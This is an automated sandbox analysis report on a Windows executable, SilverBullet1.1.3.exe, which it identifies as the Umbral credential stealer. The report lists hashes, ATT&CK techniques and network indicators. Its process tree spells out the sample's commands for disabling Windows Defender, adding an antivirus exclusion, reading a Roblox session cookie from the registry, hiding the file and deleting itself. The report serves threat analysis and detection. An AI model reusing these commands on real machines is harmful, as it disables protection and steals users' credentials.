umbral | 15e11de5fdc18d4d1a9fe45e494887fe04087aae5a215c1bff4f8fa36b86e7fb

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
26-07-2024 20:42

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General

Target

SilverBullet1.1.3.exe
Size

246KB
MD5

cbcd362933c6c8a10a0a6d8c40bbb66a
SHA1

4fc0ff8ec329b58c4220a577f694b96be0b874f8
SHA256

15e11de5fdc18d4d1a9fe45e494887fe04087aae5a215c1bff4f8fa36b86e7fb
SHA512

da01c53ac833edbbb5abbefa5a5da4de0cdd10c9c7469b58db6f14470bbfa6b19c2b335759045402807c549a2fc36495d5d0a4b0ce41cb12a203e2e3d0b1b617
SSDEEP

6144:JloZM+rIkd8g+EtXHkv/iD4z6F+cCFdWcj+ctBIKzb8e1ma5i:7oZtL+EP8z6F+cCFdWcj+ctBIMFg

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1616-1-0x0000000000EF0000-0x0000000000F34000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe
2588	powershell.exe
1008	powershell.exe
2804	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	SilverBullet1.1.3.exe

Deletes itself 1 IoCs

pid	Process
1880	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1880	cmd.exe
2504	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2064	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2504	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1616	SilverBullet1.1.3.exe
2804	powershell.exe
2784	powershell.exe
2588	powershell.exe
2756	powershell.exe
1008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1616	SilverBullet1.1.3.exe
Token: SeIncreaseQuotaPrivilege	1784	wmic.exe
Token: SeSecurityPrivilege	1784	wmic.exe
Token: SeTakeOwnershipPrivilege	1784	wmic.exe
Token: SeLoadDriverPrivilege	1784	wmic.exe
Token: SeSystemProfilePrivilege	1784	wmic.exe
Token: SeSystemtimePrivilege	1784	wmic.exe
Token: SeProfSingleProcessPrivilege	1784	wmic.exe
Token: SeIncBasePriorityPrivilege	1784	wmic.exe
Token: SeCreatePagefilePrivilege	1784	wmic.exe
Token: SeBackupPrivilege	1784	wmic.exe
Token: SeRestorePrivilege	1784	wmic.exe
Token: SeShutdownPrivilege	1784	wmic.exe
Token: SeDebugPrivilege	1784	wmic.exe
Token: SeSystemEnvironmentPrivilege	1784	wmic.exe
Token: SeRemoteShutdownPrivilege	1784	wmic.exe
Token: SeUndockPrivilege	1784	wmic.exe
Token: SeManageVolumePrivilege	1784	wmic.exe
Token: 33	1784	wmic.exe
Token: 34	1784	wmic.exe
Token: 35	1784	wmic.exe
Token: SeIncreaseQuotaPrivilege	1784	wmic.exe
Token: SeSecurityPrivilege	1784	wmic.exe
Token: SeTakeOwnershipPrivilege	1784	wmic.exe
Token: SeLoadDriverPrivilege	1784	wmic.exe
Token: SeSystemProfilePrivilege	1784	wmic.exe
Token: SeSystemtimePrivilege	1784	wmic.exe
Token: SeProfSingleProcessPrivilege	1784	wmic.exe
Token: SeIncBasePriorityPrivilege	1784	wmic.exe
Token: SeCreatePagefilePrivilege	1784	wmic.exe
Token: SeBackupPrivilege	1784	wmic.exe
Token: SeRestorePrivilege	1784	wmic.exe
Token: SeShutdownPrivilege	1784	wmic.exe
Token: SeDebugPrivilege	1784	wmic.exe
Token: SeSystemEnvironmentPrivilege	1784	wmic.exe
Token: SeRemoteShutdownPrivilege	1784	wmic.exe
Token: SeUndockPrivilege	1784	wmic.exe
Token: SeManageVolumePrivilege	1784	wmic.exe
Token: 33	1784	wmic.exe
Token: 34	1784	wmic.exe
Token: 35	1784	wmic.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2624	wmic.exe
Token: SeSecurityPrivilege	2624	wmic.exe
Token: SeTakeOwnershipPrivilege	2624	wmic.exe
Token: SeLoadDriverPrivilege	2624	wmic.exe
Token: SeSystemProfilePrivilege	2624	wmic.exe
Token: SeSystemtimePrivilege	2624	wmic.exe
Token: SeProfSingleProcessPrivilege	2624	wmic.exe
Token: SeIncBasePriorityPrivilege	2624	wmic.exe
Token: SeCreatePagefilePrivilege	2624	wmic.exe
Token: SeBackupPrivilege	2624	wmic.exe
Token: SeRestorePrivilege	2624	wmic.exe
Token: SeShutdownPrivilege	2624	wmic.exe
Token: SeDebugPrivilege	2624	wmic.exe
Token: SeSystemEnvironmentPrivilege	2624	wmic.exe
Token: SeRemoteShutdownPrivilege	2624	wmic.exe
Token: SeUndockPrivilege	2624	wmic.exe
Token: SeManageVolumePrivilege	2624	wmic.exe
Token: 33	2624	wmic.exe
Token: 34	2624	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 1784	1616	SilverBullet1.1.3.exe	30
PID 1616 wrote to memory of 1784	1616	SilverBullet1.1.3.exe	30
PID 1616 wrote to memory of 1784	1616	SilverBullet1.1.3.exe	30
PID 1616 wrote to memory of 2740	1616	SilverBullet1.1.3.exe	33
PID 1616 wrote to memory of 2740	1616	SilverBullet1.1.3.exe	33
PID 1616 wrote to memory of 2740	1616	SilverBullet1.1.3.exe	33
PID 1616 wrote to memory of 2804	1616	SilverBullet1.1.3.exe	35
PID 1616 wrote to memory of 2804	1616	SilverBullet1.1.3.exe	35
PID 1616 wrote to memory of 2804	1616	SilverBullet1.1.3.exe	35
PID 1616 wrote to memory of 2784	1616	SilverBullet1.1.3.exe	37
PID 1616 wrote to memory of 2784	1616	SilverBullet1.1.3.exe	37
PID 1616 wrote to memory of 2784	1616	SilverBullet1.1.3.exe	37
PID 1616 wrote to memory of 2588	1616	SilverBullet1.1.3.exe	39
PID 1616 wrote to memory of 2588	1616	SilverBullet1.1.3.exe	39
PID 1616 wrote to memory of 2588	1616	SilverBullet1.1.3.exe	39
PID 1616 wrote to memory of 2756	1616	SilverBullet1.1.3.exe	41
PID 1616 wrote to memory of 2756	1616	SilverBullet1.1.3.exe	41
PID 1616 wrote to memory of 2756	1616	SilverBullet1.1.3.exe	41
PID 1616 wrote to memory of 2624	1616	SilverBullet1.1.3.exe	43
PID 1616 wrote to memory of 2624	1616	SilverBullet1.1.3.exe	43
PID 1616 wrote to memory of 2624	1616	SilverBullet1.1.3.exe	43
PID 1616 wrote to memory of 968	1616	SilverBullet1.1.3.exe	45
PID 1616 wrote to memory of 968	1616	SilverBullet1.1.3.exe	45
PID 1616 wrote to memory of 968	1616	SilverBullet1.1.3.exe	45
PID 1616 wrote to memory of 2876	1616	SilverBullet1.1.3.exe	47
PID 1616 wrote to memory of 2876	1616	SilverBullet1.1.3.exe	47
PID 1616 wrote to memory of 2876	1616	SilverBullet1.1.3.exe	47
PID 1616 wrote to memory of 1008	1616	SilverBullet1.1.3.exe	49
PID 1616 wrote to memory of 1008	1616	SilverBullet1.1.3.exe	49
PID 1616 wrote to memory of 1008	1616	SilverBullet1.1.3.exe	49
PID 1616 wrote to memory of 2064	1616	SilverBullet1.1.3.exe	51
PID 1616 wrote to memory of 2064	1616	SilverBullet1.1.3.exe	51
PID 1616 wrote to memory of 2064	1616	SilverBullet1.1.3.exe	51
PID 1616 wrote to memory of 1880	1616	SilverBullet1.1.3.exe	53
PID 1616 wrote to memory of 1880	1616	SilverBullet1.1.3.exe	53
PID 1616 wrote to memory of 1880	1616	SilverBullet1.1.3.exe	53
PID 1880 wrote to memory of 2504	1880	cmd.exe	55
PID 1880 wrote to memory of 2504	1880	cmd.exe	55
PID 1880 wrote to memory of 2504	1880	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe
"C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe"
  2⤵
  - Views/modifies file attributes
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1008
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2064
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SilverBullet1.1.3.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
221bc3ebc948e2ca3ae124d5af5c46ba

SHA1
f2a600a9734e3a6b0b5f38411231f0a89fbdcc61

SHA256
c14cfb2aaec198bc2db9832ee32535c9cf828f95433a9e6441eba12a26c7ec3a

SHA512
355d2d87b05178157045b1c9cae2cdf404e29b95b79534c0a84508f1dd80834c653d3cdd053c2830e72945d15149c60e7c16de98c84030b17a328a61a9c6670e

Download Submit
memory/1008-42-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/1616-0-0x000007FEF5AB3000-0x000007FEF5AB4000-memory.dmp

Filesize
4KB

Download
memory/1616-1-0x0000000000EF0000-0x0000000000F34000-memory.dmp

Filesize
272KB

Download
memory/1616-2-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/1616-46-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/2784-14-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2784-15-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2804-7-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2804-8-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download